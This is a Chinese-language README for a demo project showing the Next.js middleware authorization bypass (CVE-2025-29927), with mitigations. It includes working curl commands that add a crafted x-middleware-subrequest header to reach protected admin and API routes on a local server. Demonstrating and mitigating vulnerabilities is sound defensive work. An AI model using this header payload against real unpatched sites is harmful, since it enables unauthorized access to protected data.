這個 Repo 提供範例專案,演示 Next.js 中的 Middleware 授權繞過漏洞 (CVE-2025-29927)。此漏洞允許未經授權的用戶訪問受保護的資源。
CVE-2025-29927 是一個嚴重的安全漏洞(CVSS 評分:9.1),影響 Next.js 的 middleware 系統。攻擊者可以通過在 HTTP 請求中添加特製的 x-middleware-subrequest header 來完全繞過 middleware 的安全檢查。
/admin)而無需認證/api/confidential)npm install 安裝 dependenciesnpm run dev 啟動 Next.js 開發伺服器http://localhost:3000 即可看到目前的網站畫面Next.js 使用內部 header x-middleware-subrequest 來防止 middleware 的遞迴呼叫造成無限循環。然而,這個 header 可以被外部請求利用。當請求包含此 header 並達到最大遞迴深度(MAX_RECURSION_DEPTH)時,Next.js 會完全跳過 middleware 執行。
首先,嘗試正常訪問受保護的路徑:
# 訪問受保護的管理員頁面
curl http://localhost:3000/admin/dashboard -v
預期結果:會被重定向到登入頁面(302 redirect to /login)
# 訪問受保護的 API
curl http://localhost:3000/api/confidential -v
預期結果:返回 401 Unauthorized 錯誤
現在,使用特製的 header 來繞過 middleware:
# 繞過 /admin 路徑保護
curl http://localhost:3000/admin/dashboard \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-v
預期結果:成功訪問管理員頁面內容(200 OK)
# 繞過 /api/confidential 保護
curl http://localhost:3000/api/confidential \
-H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
-v
預期結果:成功訪問 API 並獲得機密資訊(200 OK)
你也可以使用瀏覽器的開發者工具來測試:
x-middleware-subrequestmiddleware:middleware:middleware:middleware:middlewarehttp://localhost:3000/admin/dashboard當 middleware 接收到包含 x-middleware-subrequest header 的請求時:
升級到已修復的版本:
如果無法立即升級,可以在反向代理(Nginx、Apache 等)層面阻擋包含 x-middleware-subrequest header 的請求:
Nginx 配置範例:
location / {
if ($http_x_middleware_subrequest) {
return 403;
}
proxy_pass http://localhost:3000;
}
Apache 配置範例:
RequestHeader unset x-middleware-subrequest
除了 middleware 外,在路由處理器中也實施認證檢查:
// 在 API 路由中添加額外的認證檢查
export async function GET(request) {
// 不要只依賴 middleware,在這裡也檢查認證
if (!isAuthenticated(request)) {
return new Response('Unauthorized', { status: 401 });
}
// ... 處理請求
}